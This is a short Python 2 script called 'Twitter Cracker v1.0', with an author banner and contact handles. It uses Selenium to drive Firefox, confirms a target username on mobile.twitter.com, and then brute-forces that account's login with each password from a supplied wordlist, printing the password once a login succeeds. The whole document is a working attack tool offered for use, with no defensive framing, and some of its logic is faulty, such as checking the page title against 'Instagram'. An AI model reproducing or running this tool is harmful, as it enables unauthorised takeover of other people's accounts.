Twitter Cracker v1.0

#!/usr/bin/python
import time

print "Enter |[ CRTL + C ]| For Quit {Tool: Twitter Cracker v1.0 } "
print "[+] Please Wait ... [!]"
time.sleep(4)
print """
        +=======================================+
        |.........Twitter Cracker v1.0..........|
        +---------------------------------------+
        |----------C0d3D : 1337r00t-------------|
        |---------------------------------------|
        |  Instagram : 1337r00t                 |
        |  Instagram 2 : leetroot               |
        |---------------------------------------|
        |  Twitter : 1337r00t                   |
        |  Email : s3c1337r00t@gmail.com        |
        +---------------------------------------+\n
"""
try:
	import selenium
	from selenium import webdriver
except ImportError:
	print"[-] Selenium module Is not Found [-]"
import time
def send_v():
				username = raw_input("[+] Enter Username Or Email :")
				def passE():

						password = raw_input("[+] Enter PassList:")
						try:
							f = open(password,'r')
						except IOError:
							print"\n[-] Error: Cannot Find File or read Data !"
							print"[!] Please Check Your File or Direction of File  [!]\n"
							return passE()
						else:

							delay = input("[+] Enter The Seconds For Delay (example= 3):")
							print "\n[+] Searching %s ... [+]" %(username)
							driver = webdriver.Firefox()
							driver.get("https://mobile.twitter.com/" + username)
							if driver.title == 'Instagram':
								failed_u = raw_input("\n[-] The Username is Not Exists ! Press Enter To Try Again or Press 0 To Exit ...:")
								sys_input = [0,'']
								if (failed_u in sys_input):
									if failed_u==0:
										driver.quit()
									if failed_u=='':
										return send_v()
								else:
									b = input("[-] Unknown Entry ! Try Again by Press 1 :")
									print"\n"
									inputing_p = [1]
									if (b in inputing_p):
										return send_v()
									else:
										print"[-] Unknown [-] ! "
										return send_v()
							else:
								driver.quit()
								print"\n[+] Ok The Username Checked [+]\n"
								def brute():
									driver = webdriver.Firefox()
									driver.get("https://mobile.twitter.com/session/new")
				        				search_field = driver.find_element_by_name("session[username_or_email]")
									search_field.clear()
									search_field.send_keys(username)
									while f:
										search_field = driver.find_element_by_name("session[password]")
										search_field.clear()
										line = f.readline()
										print 'User:Pass ///: %s : %s'%(username,line)
										search_field.send_keys(line)
										search_field.submit()
										time.sleep(delay)
										if driver.current_url == 'https://mobile.twitter.com/':
											print "\n[!] Login Successfull !"
											print "[!] The Password Is :", line
											driver.quit()

								brute()
				passE()
send_v()